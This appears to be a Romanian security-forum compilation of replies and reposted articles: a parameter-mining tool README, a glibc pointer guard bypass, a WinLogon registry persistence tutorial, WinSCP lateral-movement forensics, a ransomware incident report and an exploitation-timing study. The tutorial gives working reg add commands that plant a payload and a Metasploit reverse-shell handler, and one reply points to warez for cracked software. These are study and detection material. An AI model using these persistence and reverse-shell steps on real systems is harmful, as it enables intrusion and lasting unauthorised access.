Nytro

Salut, nu ai incercat niste mizerii de aparate OBD2 sa vezi daca ajuta? Sunt acelea care se conecteaza prin Bluetooth la telefon si costa 40-100 RON. Le poti folosi cu multe aplicatii free: Car Scanner (ELM227 sau cam asa ceva), Torque sau daca vrei are si versine pro. Vad ca se poate gasi hardware cu 220 RON, acel OP COM. Nu vine si cu software-ul necesar? Cat despre a-l crackui tu, e destul de greu daca nu ai experienta pe reverse engineering (e.g. ASM) si poate dura ceva timp. Nu stiu cati ar avea timp de asa ceva. Solutia mai practica ar fi sa cauti pe net pana gasesti, poate pe ceva site-uri chinezesti sau de warez/torrents.

Exista aplicatii dedicate pentru control parental si fac asta destul de bine. Din cate stiu eu si unii antivirusi au astfel de functionalitati.

Nu ma joc GTA, dar astea sunt posibilitatile: 1. Pe cont - ca sa verifici, fa un alt cont si incearca sa te joci 2. Pe IP - ca sa verifici, foloseste un VPN si incearca sa te joci, cu acelasi cont 3. Pe instalatie de joc? Adica de pe orice IP si cont ai juca de unde il ai instalat. E doar o idee, probabil nu se foloseste Daca e pe IP, poate cu un restart la router primesti alt IP extern. Poate. Daca e pe cont, nu cred ca ai ce face. Orice ar fi, poti discuta cu adminii acelui joc, pe un forum undeva, sa le explici ca nu ai facut nimic gresit (ma gandesc, desi nu cred asta) si sa te debaneze.

Din cate stiam eu, in prezent, operatorii telecom nu mai au voie sa blocheze telefoanele. Sugestia ar fi sa suni la operatorul pe care e blocat si sa te ajute.

Da, momentan e privat. Daca esti interesat, sau daca altcineva e interesat, astept un PM cu o adresa de email pentru invitatie in program.

Salut, Suntem in cautarea unui coleg in echipa de security. Cautam pe cineva senior, care sa stie foarte bine web security, dar si altele (e.g. Windows, networking, cloud). Mai exact, o persoana care sa stie lucruri avansate despre exploatarea unor vulnerabilitati, tips & tricks, bypass-uri si sa nu o deranjeze sa faca pentest cu ajutorul codului sursa - deci code review. Puteti aplica aici: https://www.linkedin.com/jobs/view/1699417011/ Sau imi puteti trimite mesaj privat. Astept de asemenea orice intrebare legata de pozitie. Mersi, // Nytro

Ceea ce ai gasit tu nu e tocmai critic si e normal sa nu se oboseasca sa repare, mai ales ca probabil nu au o echipa de securitate interna. Nu vad sa fie niciun "client information disclosure" daca te referi la GDPR. E util ceea ce faci tu, dar e si riscant pentru tine - poti fi dat in judecata, sper insa ca nu mai exista firme "comuniste" care sa faca asa ceva in prezent. Apoi, nu ar trebui sa te stresezi ca "de ce nu repara?". E treaba lor, tu ai fost OK, le-ai zis de probleme. Si in ultimul rand, nu ar trebui sa ai nicio asteptare din partea lor, sa iti ofere ceva sau sa te plateasca. O pot face unele firme, sa iti ofere ceva produs al lor sau mai stiu eu ce, ar fi frumos, dar sansele sunt destul de mici mai ales fiindca vulnerabilitatile nu sunt tocmai critice.

Exista asta: https://www.qfxsoftware.com/ Nu stiu daca te ajuta cu ceva.

Probabil, pare ca pentru persistence sa foloseasca acea cheie de registry ca sa ruleze Powershell (11:45).

Da, pare ca scrie acolo, stupid Nu ma uitasem prin cod, ma gandeam ca scrie undeva in Registry din care sa rezulte executia "imediata", sau cel putin rapida, nu dupa restart...

Nu am mai facut demult ceva pe mobile, dar din cate stiam, daca o aplicatie e "debuggable", poti folosi Frida (de exemplu) pentru instrumentare la runtime. Ai nevoie de Android Studio? Chiar ar trebui sa ma mai uit si eu pe astfel de lucruri.

Da, e tot un fel de netcat dar care suporta si DNS si ICMP. Poate fi util in cazurile in care nu se reuseste cu TCP/UDP.

ParamSpider : Parameter miner for humans Key Features : Finds parameters from web archives of the entered domain. Gives support to exclude urls with specific extensions. Saves the output result in a nice and clean manner. It mines the parameters from web archives (without interacting with the target host) Usage instructions : Note : Use python 3.7+ $ git clone https://github.com/devanshbatham/ParamSpider $ cd ParamSpider $ pip3 install -r requirements.txt $ python3 paramspider.py --domain hackerone.com Usage options : 1 - For a simple scan [without the --exclude parameter] $ python3 paramspider.py --domain hackerone.com -> Output ex : https://hackerone.com/test.php?q=FUZZ 2 - For excluding urls with specific extensions $ python3 paramspider.py --domain hackerone.com --exclude php,jpg,svg 3 - For finding nested parameters $ python3 paramspider.py --domain hackerone.com --level high -> Output ex : https://hackerone.com/test.php?p=test&q=FUZZ 4 - Saving the results $ python3 paramspider.py --domain hackerone.com --exclude php,jpg --output hackerone.txt Example : $ python3 paramspider.py --domain bugcrowd.com --exclude woff,css,js,png,svg,php,jpg --output bugcrowd.txt Note : As it fetches the parameters from web archive data , so chances of false positives are high. My Twitter : Say hello : 0xAsm0d3us Wanna show support for the tool ? I will be more than happy if you will show some love for Animals by donating to Animal Aid Unlimited ,Animal Aid Unlimited saves animals through street animal rescue, spay/neuter and education. Their mission is dedicated to the day when all living beings are treated with compassion and love. ✨ Sursa: https://github.com/devanshbatham/ParamSpider

Bypassing Pointer Guard in Linux's glibc April 12, 2020 Dr Silvio Cesare @silviocesare Summary Pointer guard is an exploit mitigation in glibc that applies to stored pointers and especially stored function pointers. A number of library calls can register function pointers that get executed later on. An example of this is registering an exit handler with atexit(). Stored function pointers are scrambled or mangled by XORing them with a secret in the thread data (fs:0x30) and applying a bitwise rotation. This mitigates control-flow hijacking by an attacker who would otherwise be able to overwrite the stored function pointer with a location of their choosing. In this blog post, I'll present a bypass for pointer guard in multithreaded applications where an attacker knows the libc base address and has an arbitrary read. Introduction Pointer guard is documented in glibc reference materials https://sourceware.org/glibc/wiki/PointerEncryption. The mitigation provides a set of macros that mangle and demangle pointers. The API to use is PTR_MANGLE and PTR_DEMANGLE. For example, if an application wants to store a function pointer in *stored_ptr, they could use the following: *stored_ptr = PTR_MANGLE(ptr) And to demangle it: ptr = PTR_DEMANGLE(*stored_ptr); The pointer mangling works by XORing the pointer with an internal 64-bit secret, then performing a bitwise left rotatation of 0x11 bits (on x86-64). Demangling is the reverse. Related Work After I tweeted the requirements for this attack, I was linked to http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html. This is similar attack to the one I present with some specific differences. Interested readers are advised to review it. The Attack The attack is essentially a known-plaintext attack against the mangling operation. If we know the original pointer and its mangled version, we can recover the 64-bit secret. How do we get known plaintexts? The related work linked earlier shows 1 way to identify known plaintext. I will present another approach. Let's grep -rw PTR_MANGLE glibc/ --include '*.c' and examine each reference. I can quickly see an interesting use: In thread initialization, we can see a function pointer table at a fixed address (__libc_pthread_functions). If we examine what the first entry of this function pointer table, we can see that it points to __pthread_attr_destroy. This is enough to defeat pointer guard if we know the library base from an ASLR leak. This is shown in the following pseudo code. x = __libc_pthread_functions[0]; secret = rotr64(x, 0x11) ^ &__pthread_attr_destroy; There is something else we can try. Is there a possibility that there is a mangled function pointer where the function pointer is equal to 0 or perhaps -1 or another fixed constant? I write some test code to recover the cookie in a multithreaded application, and then i take the results of: PTR_MANGLE(0); PTR_MANGLE((unsigned long)-1); In GDB using the GEF debugging plugin, I use pattern-search to find any such memory in the address space that has stored one of these mangled pointers with known plaintexts (pointers). I find one. __libc_pthread_functions[1] in my particular application has a mangled NULL pointer. To defeat pointer guard then after program initialization, given the address of __libc_pthread_functions, is: secret = rotr64(__libc_pthread_functions[1], 0x11); From this point, an attacker can safely and correctly mangle their own pointers. Conclusion In this blog post, I presented an attack against the pointer guard exploit mitigation in Linux's glibc. The bypass requires the base address of libc and an arbitrary read. Sursa: https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html

Windows Persistence using WinLogon posted inRed Teaming on April 12, 2020 by Raj Chandel SHARE In this article, we are going to describe the ability of the WinLogon process to provide persistent access to the Target Machine. Table of Content Introduction Configurations used in Practical Default Registry Key Values Persistence using WinLogon Using Userinit Key Using the Shell Key Detection Mitigation Introduction The Winlogon process is a very important part of the Windows operating system, and Windows will be unusable without it. This process performs many important tasks related to the Windows sign-in process. For example, when you sign in, the Winlogon process is responsible for loading your user profile into the registry. Hence, each Windows user account is dependent on WinLogon to use the keys under HKEY_CURRENT_USER which is unique for each user account. Winlogon has special hooks into the system and watches to see if you press Ctrl+Alt+Delete. This is known as the “secure attention sequence”, and it’s why some PCs may be configured to require you to press Ctrl+Alt+Delete before you sign in. This combination of keyboard shortcuts is constantly caught by Winlogon, which guarantees you’re signing in on a safe desktop where different programs can’t monitor the password you’re typing or impersonate a sign-in dialog. The Windows Logon Application additionally monitors the keyboard and mouse action and is liable for locking your PC and starting screen savers after a time of no activity. Microsoft Official site provides a more detailed, technical list of Winlogon’s responsibilities. Configurations used in Practical Attacker: OS: Kali Linux 2020.1 IP: 192.168.1.112 Target: OS: Windows 10 IP: 192.168.1.104 Default Registry Key Values Now as discussed in the introduction, the WinLogon process controls the HKEY_CURRENT_USER. But being a Windows Propriety Software, its registry values are located in the HKEY_LOCAL_MACHINE. If we want to take a look at the Registry Key Values for WinLogon, we will have to open the Registry Editor. This can be achieved by typing Regedit in the Run Panel. Then Traverse to the following Location: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 1 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Now here among a lot of other keys we see that we have keys named Userint and Shell of REG_SZ type. We will be using these keys to gain persistence over this machine. The scenario that can be related here is that the attacker gains a meterpreter session over the Target Machine here. The attacker can use any method of their choice. Then he uses the meterpreter session to alter the Registry Keys in WinLogon to convert its session into a persistence session. Persistence using Userinit Key Transfering Malicious Executable We created a malicious executable file named raj.exe using the msfvenom tool. More about that here. Now using the meterpreter session that we already obtained, we transfer this malicious executable to the Target Machine. We will be using the upload command of the meterpreter for this. After the file is successfully uploaded to the Target Machine, we ran the shell command. upload /root/raj.exe 1 upload /root/raj.exe Modifying Registry Values Since we have the shell of the Target System, we used the “reg query” command to get information about the Userinit Key of WinLogon. We see that it has the default value we saw earlier. Now using the “reg add” command we modified the key value to hold the malicious executable as well. shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, raj.exe" /f reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit 1 2 3 4 shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, raj.exe" /f reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit We ran the “reg query” command again to ensure that the values are indeed modified. We can also verify the modification manually here as shown in this image below. Gaining Persistent Shell Now that we have made the changes in the registry. We should be getting a persistent shell as soon as the WinLogon is triggered. Although we need to have a listener set up for the session that is generated. The listener should have the same configurations as IP Address and Port that were used in crafting the payload. Here we can see that we have a persistent shell. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.112 set lport 4444 exploit 1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.112 set lport 4444 exploit Persistence using Shell Key We got our persistence using the Userinit key. Now let’s focus on another key that can be used to achieve persistence over the Target Machine. It is the Shell key. It by default holds the explorer.exe as shown in the given below. Modifying Registry Values As we did in the previous practices, we will be gaining a meterpreter session, then we will be transferring the payload over to the Target Machine using the upload command. Then we will be adding the name of the executable in the Registry Value using reg add command. upload /root/raj.exe shell reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, raj.exe" /f 1 2 3 4 upload /root/raj.exe shell reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, raj.exe" /f We can verify that the payload is indeed added to the Shell Key by going to the location in the Registry Editor Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 1 Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Gaining Persistent Shell Now that we have made the changes in the registry. We should be getting a persistent shell as soon as the WinLogon is triggered. Although we need to have a listener set up for the session that is generated. The listener should have the same configurations as IP Address and Port that were used in crafting the payload. Here we can see that we have a persistent shell. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.112 set lport 4444 exploit 1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.112 set lport 4444 exploit Detection Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempted at persistence, including listing current Winlogon helper values. New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Mitigation Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting tools like AppLocker that are capable of auditing and/or blocking unknown DLLs. Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes. We at Hacking Articles want to request everyone to stay at home and self-quarantine yourself for the prevention against the spread of the COVID-19. I am writing this article while Working from home. Take care and be Healthy! MITRE|ATT&CK Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester. Can be Contacted on Twitter and LinkedIn Sursa: https://www.hackingarticles.in/windows-persistence-using-winlogon/

How to Detect Lateral Movements with WinSCP You are here: Home Forensics And Investigation How to Detect Lateral Movements… Mar52020 Forensics And Investigation A common way for an attacker to move laterally within an environment is to use RDP. Forensically, we can use artifacts such as shellbags, link files and jumplists on the remote system to see what the attacker accessed when they used RDP into the system. Alternatively, an attacker can access a system remotely by using WinSCP. By using the WinSCP program, an attacker can browse folders and files on a remote system, copy them back to the system they are currently on, and also search the remote system for files. We will be working on a scenario where the attacker has already compromised a system on the network and is using WinSCP to browse to other computers on the same network. In this case, they could browse to HR systems looking for tax information, Servers looking for databases or Workstations looking for IP data. In comparison to RDP, when using WinSCP, very few artifacts are left on what they were doing on the remote system because attackers are not using the Windows Explorer shell. They can even open up remote documents from within a WinSCP text editor. Starting with Windows 10 1809 and Sever 2019, FTP/SSH is part of the optional features that can be easily installed on Windows. A simple PowerShell command can install it. Furthermore, it automatically creates a firewall rule and adds an SSH user. powershell Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 powershell Start-Service sshd powershell Set-Service -Name sshd -StartupType 'Automatic' An attacker commonly follows the below steps right after they breach a network: 1) Dump admin credentials 2) Enumerate systems to get IP addresses/Hostnames 3) Push out PowerShell scripts to all systems en-mass that do things such as disable firewalls, install backdoors and disable antivirus. Now that the “command to install SSH” task has been added, all these systems are accessible to connect to using WinSCP. The most interesting thing about WinSCP is that it comes with a portable version. The portable version makes it easy for an attacker to download and use. Many blog posts reference a registry key that contains settings for the program. However, the portable version does not store settings there. Forensically finding artifacts to help determine what was done on both the “staging” system and the remote systems on Windows 10 1909: Most of the artifacts related to WinSCP are located on the host where it was run. Running the program generates many of the common artifacts seen with file execution (Prefetch, shimcache, amcache, userassist, etc). However, the most important artifacts are the WinSCP.ini file and the SRUM database. WinSCP.ini file WinSCP.ini is a text file that contains configuration settings. It is located in the same directory as the WinSCP.exe file. At the end of a WinSCP session, the user is prompted to save their workspace: WinSCP saves valuable information in the WinSCP.ini file that can be useful to the investigation. This includes systems connected to, usernames, places on the local system where files were saved from the remote system, and the last path that was accessed on the local system. Examples of each of these configuration sections: [Configuration\CDCache] Support1@172.16.30.4=412F433A2F55736572732F<SNIP> user1@172.16.30.20=412F433A2F55736572732F<SNIP> Files have been saved in these folders: [Configuration\History\LocalTarget] 0=C:%5CUsers%5CCrashOveride%5CDocuments%5CExfil%5C*.* 1=C:%5CUsers%5CCrashOveride%5CDocuments%5CSystem3%5C*. Last folder opened on the local system: [Configuration\Interface\Commander\LocalPanel] DirViewParams=0;1|150,1;70,1;120,1;150,1;55,0;55,0;@96|5;4;0;1;2;3 StatusBar=1 DriveView=0 DriveViewHeight=100 DriveViewHeightPixelsPerInch=96 DriveViewWidth=100 DriveViewWidthPixelsPerInch=96 LastPath=C:%5CUsers%5CCrashOveride%5CDocuments%5CExfil If the session settings are saved, you get a bonus section called Sessions, with the saved session name. The default is “My Workspace”. This saves the last local directory and remote directory, along with a password. [Sessions\My%20Workspace/0000] HostName=172.16.30.4 UserName=Support1 LocalDirectory=C:%5CUsers%5Cuser1%5CDocuments%5CSystem3%5CW2s RemoteDirectory=/C:/Users/Acid%20Burn/Documents/W2s IsWorkspace=1 Password=A35C435B9556B1237C2DFE15080F2<TRUNCATED> The WinSCP.ini file appears to be updated when the session closes. As such, using the last modified date of the WinSCP.ini file with a prefetch timestamp could give you an idea of how long the last session was. Looking at this WinSCP.ini file can help an examiner determine what an attacker may have been browsing to on a remote system, and what they may have saved on the local system, even if it was deleted afterwards. SRUM database The SRUM database collects information every hour on network usage on a per-application basis. It can be an excellent resource for figuring how much data have been coied/downloaded using WinSCP. if you suspect WinSCP was used, parsing out the database can provide some details on how much data was transferred, what user account was associated with it, and the time frames that it occurred. WinSCP Remote System Artifacts To determine whether WinSCP was used to browse a remote system using WinSCP, you can look for several things: Event log entries, evidence of OpenSSH being installed, and file system timestamps. WinSCP can use any FTP/SSH server to connect to. If you suspect WinSCP may have been used, your artifacts may vary. 1. OpenSSH artifacts In order for WinSCP to connect to a system, an FTP or SSH server must be running to accept the connection. Look for artifacts indicating these services exist. For OpenSSH, look for c:/Windows/System32/OpenSSH/sshd.exe, SSHD.exe prefetch files, and the sshd.exe service. Timestamps associated with these entries may help determine the first time the attacker used it to connect. Username : sshd [1003] SID : S-1-5-21-1445295406-4253784506-242647837-1003 Full Name : sshd User Comment : Account Type : Account Created : Sun Feb 23 06:48:08 2020 Z Name : Last Login Date : Never Pwd Reset Date : Sun Feb 23 06:48:08 2020 Z Pwd Fail Date : Never Login Count : 0 –> Password does not expire –> Normal user account 2. Event Log Entries Tthere is an Event ID 4624 associated with the WinSCP client login. The login is a type 5 with the account name sshd_1860 and the domain of VIRTUAL USERS, and the process of sshd.exe: This is followed by an entry in the OpenSSH Operational event log that records the connecting IP address and account used by WinSCP to connect: File Timestamps Once logged in, the attacker can use the program to effectively browse through folders, and even open up files via WinSCP barely leaving any trace on the remote system. An indication this was occurring was that accessed dates were changed on folders and files clicked on or copied. However, access dates are NOT a reliable artifact to use when concluding and must be used with other corroborating artifacts. Below is an example of files and folders that were copied: Secure Your Organization’s Mind with Securemind.se Sursa: https://www.threathunting.se/2020/03/05/how-to-detect-lateral-movements-with-winscp/

GoGoogle Ransomware April 4, 2020 An attacker logged into the honeypot from 93.174.95[.]73, disabled security tools, dropped their toolkit and started recon. Recon was quickly followed by an onslaught of password dumping tools such as Mimikatz, Lazagne, rdpv, and more. After the attacker dumped credentials they moved laterally to multiple machines using Network Port Scanner. Minutes later the attacker focused in a Domain Controller and started deploying ransomware. Interesting Artifacts There were a bunch of artifacts dropped during this compromise. Most of these are password dumping tools with the exception of !start.cmd and Advanced IP Scanner. The !start.cmd script appears to use the above artifacts to dump credentials from the machine. The script is written to handle 64 and 32 bit systems as it checks the processor architecture before running each of the password dumping tools. The first half of the script runs Mimikatz, Lazagne, BulletsPassView, netpass, PasswordFox, SniffPass, and WirelessKeyView. The second half of the script runs ChromePass, Dialupass, iepv, mailpv, mspass, OperaPassView, pspv, PstPassword, rdpv, RouterPassView, VNCPassView, and WebBrowserPassView before deleting the mimikatz files. The artifact can be downloaded here. One thing to notice here is the folder named passrecpk. After doing some further research we believe this folder most likely correlates to the free NirSoft toolpack named passrecenc.zip. Most of the NirSoft tools above are in passrecenc.zip. The next artifact is a Mimikatz parser. The goal of this script is to parse out the Mimikatz output so its easier for the actor to use passwords/NTLM. We saw the actors open up the Passwords.txt file which included username:password for logged in users. The artifact can be downloaded here. Another interesting artifact is Remote Desktop PassView (rpv.exe) created by NirSoft which reveals passwords stored in .rdp files. This is a great example of why you shouldnt store passwords in rdp files. Example of the PowerShell scripts and other recon elements executed: We were not able to acquire these files but here are our thoughts: lubrute.ps1 – We believe this script was used to brute force local accounts. adbrute.ps1 – We believe this script was used to brute force AD accounts. Find-Pass.ps1 – We believe this script was used to run mimikatz and the other password dumping tools. NetADPC.ps1 – We believe this script launched Network Port Scanner and helped with RDP connections. The ransomware was deployed in a manual fashion requiring the actor to RDP to each machine that Network Port Scanner found. The specific executable looks to be new, currently identified as GoGoogle by id-ransomware. bild.exe|9330544a69b499f9b2ea79fd5a57bccc 9330544a69b499f9b2ea79fd5a57bccc 17cf9b71e0f8cf3068977c670499ed816e1b65ab 8805ce23c95a5049ca6d9678f419848b3ace3f1a0cdd36d3867d7d827ab5f4e8 Looking at the binary itself we can see that much of the code is written using Go and the compiler/creator used the name demon777. Before encrypting files the ransomware uses many windows utilities such as WMI, taskkill, WEVTUTIL, and net.exe to kill processes and remove logs from the system. Example of Logs being cleared: Example of processes being killed: Here is a long list of services killed before the ransomware encryption process starts: AcronisActiveProtectionService,AcronisAgent,AcronisMonitoringService,AcronisZmqGw,AcrSch2Svc,AdobeActiveFileMonitor10.0,AdobeARMservice,AdobeFlashPlayerUpdateSvc,AdobeUpdateService,ADWS,AGMService,AGSService,AmazonSSMAgent,AMPPALR3,AMS,AnyDesk,Apple,ARSM,ASM,aspnet_state,Atenet.Service,Backupper,BASupportExpressSrvcUpdater_LOGICnow,BASupportExpressSrvcUpdater_N_Central,BASupportExpressStandaloneService_LOGICnow,BASupportExpressStandaloneService_N_Central,BayanService,bkserv,BTHSSecurityMgr,btwdins,CcmExec,Check_MK_Agent,CIMnotify,Cissesrv,ClickToRunSvc,CodeMeter.exe,CpqNicMgmt,CpqRcmc3,cpqvcagent,CqMgHost,CqMgServ,CqMgStor,cramsrv,crserv,crsyslog,dbex,DESIGO,discagt,disvc,dlhm,DPMClientService,DpmCPWrapperService,DPMRA,DriveLock,dwmrcs,Dyn,Ec2Config,EcuRemote,EFI,ekrn,ekrnEpfw,EpsonBidirectionalService,EpsonScanSvc,FileOpenManagerSvc,firebirdguardiandefaultinstance,FirebirdGuardiansgsSFBServer,FirebirdServersgsSFBServer,FlowExport,FontCache3.0.0.0,fvstermiser,HealthService,hist32,hMailServer,HostControllerService,HPSIService,HPWMISTOR,IAStorDataMgrSvc,ibmiasrw,IISADMIN,iPod,jhi_service,LavasoftTcpService,LicSvrM,MacriumService,Microsoft.Crm.VssWriterService.exe,MMAExtensionHeartbeatService,MMS,MSComplianceAudit,MSCRMAsyncService,MSCRMAsyncService$maintenance,MSCRMMonitoringService,MSCRMSandboxService,MSCRMUnzipService,MSDTC,MsDtsServer100,MSExchangeAB,MSExchangeADTopology,MSExchangeAntispamUpdate,MSExchangeCompliance,MSExchangeDagMgmt,MSExchangeDelivery,MSExchangeDiagnostics,MSExchangeEdgeSync,MSExchangeFastSearch,MSExchangeFBA,MSExchangeFDS,MSExchangeFrontEndTransport,MSExchangeHM,MSExchangeHMRecovery,MSExchangeImap4,MSExchangeIMAP4BE,MSExchangeIS,MSExchangeMailboxAssistants,MSExchangeMailboxReplication,MSExchangeMailSubmission,MSExchangeMonitoring,MSExchangeNotificationsBroker,MSExchangePop3,MSExchangePOP3BE,MSExchangeProtectedServiceHost,MSExchangeRepl,MSExchangeRPC,MSExchangeSA,MSExchangeSearch,MSExchangeServiceHost,MSExchangeSubmission,MSExchangeThrottling,MSExchangeTransport,MSExchangeTransportLogSearch,MSExchangeUM,MSExchangeUMCR,msftesql,Exchange,MSMQ,MSOLAP$SQL,MSSQL$CRMVIEW,MSSQL$CRMVIEW2,MSSQL$ISARS,MSSQL$MSFW,MSSQLFDLauncher,MSSQLLaunchpad$SQLEXPRESS,MSSQLSERVER,MSSQLServerADHelper100,MSSQLServerOLAPService,MySQL,MySQL55,NetPipeActivator,NetTcpActivator,NetTcpPortSharing,NGCLIENT,ntfsvc,nvsvc,NVWMI,OpenVPNAccessClient,OracleMTSRecoveryService,OracleOraDb11g_home1ClrAgent,OracleOraDb11g_home1TNSListener,OracleServiceINFAORCL,ose,osppsvc,PCoIPAgent,PCoIPArbiterService,PCoIPPrintingSvc,PolicyAgent,ProLiantMonitor,QBCFMonitorService,QBFCService,QBPOSDBServiceV12,QBVSS,QuickBooksDB1,QuickBooksDB10,QuickBooksDB11,QuickBooksDB12,QuickBooksDB13,QuickBooksDB14,QuickBooksDB15,QuickBooksDB16,QuickBooksDB17,QuickBooksDB18,QuickBooksDB19,QuickBooksDB2,QuickBooksDB20,QuickBooksDB21,QuickBooksDB22,QuickBooksDB23,QuickBooksDB24,QuickBooksDB25,QuickBooksDB3,QuickBooksDB4,QuickBooksDB5,QuickBooksDB6,QuickBooksDB7,QuickBooksDB8,QuickBooksDB9,RdAgent,Realtek11nCU,ReportServer,ReportServer$ISARS,ReportServer$SQL,RtkAudioService,SageEvolutionEcommService,SDRSVC,SearchExchangeTracing,SentinelKeysServer,SentinelProtectionServer,SentinelSecurityRuntime,Service,ShadowProtectSvc,ShutdownMon,SkyLightWorkspaceConfigService,SNMPTRAP,SoftwareProxyJavaChecker,SolarWindsAgent64,SPAdminV4,Spooler,sppsvc,SPSearch4,SPTimerV4,SPTraceV4,SPUserCodeV4,SPWriterV4,SQLAgent$ISARS,SQLAgent$MSFW,SQLBrowser,SQLSERVERAGENT,SQLServerReportingServices,SQLTELEMETRY$SQLEXPRESS,SQLWriter,sshd,Stxhd.HostAgents.HAService,swprv,sysdown,SysMgmtHp,TdmService,TeamViewer,TeamViewer1,TeamViewer10,TeamViewer11,TeamViewer12,TeamViewer2,TeamViewer3,TeamViewer4,TeamViewer5,TeamViewer6,TeamViewer7,TeamViewer8,TeamViewer9,Tomcat8Testing,Tomcat9,tvnserver,UltraViewService,UNS,uvnc_service,vcsFPService,VeeamCatalogSvc,VeeamCloudSvc,VeeamDeploySvc,VeeamMountSvc,VeeamNFSSvc,VeeamTransportSvc,VGAuthService,VisualSVNServer,VMAuthdService,vmicheartbeat,vmickvpexchange,vmicrdv,vmicshutdown,vmictimesync,vmicvss,VMnetDHCP,VMTools,VMUSBArbService,VMware,VMwareHostd,VSS,wbengine,WindowsAzureGuestAgent,WindowsAzureNetAgentSvc,WindowsAzureTelemetryService,wlidsvc,WMPNetworkSvc,Wrmserv,wsbexchange,WSearch The ransom note left behind left an ID and used an email address as outreach to the attackers using the qq.com service. Contact was made with the ransomer and they asked for 2 BTC (13,400 USD at time of writing). It is possible that this was per ransomed device, but the lab was reset with only a single ransom note collected before indicators were removed. While leaving the ransom note, it appears the actors were planting the capability to potentially return in the future should the systems not receive a full wipe using a Utilman.exe backdoor to allow system cmd access at the login screen. Summary These attackers moved fairly fast as they were able to go from zero to installing ransomware on 5+ machines in just over an hour. There were a ton of artifacts dropped by this attacker which were mostly NirSoft tools but the attackers did have a few of their own scripts. The attackers ran a few commands that may be easy to detect such as enabling network discovery, replacing Utilman with cmd, clearing logs and killing a bunch of services such as TeamViewer1. We found some interesting strings in the bild binary which could make for a good Yara rule. If you have any further questions please feel free to reach out to us via the Contact Us page. IOCs In the future IOCs will be posted to MISP but right now you can find them on pastebin. Sursa: https://thedfirreport.com/2020/04/04/gogoogle-ransomware/

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two April 13, 2020 | by Kathleen Metrick, Jared Semrau, Shambavi Sadayappan vulnerabilities patches Threat Intelligence One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities. Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available. Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability. We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date. Figure 2: Time between vulnerability exploitation and patch issuance ­­­Time Between Disclosure and Patch Release The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems. Exploitation After Patch Release While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch. Time to Exploit for Vulnerabilities First Exploited after a Patch Hours Two vulnerabilities were successfully exploited within hours of a patch 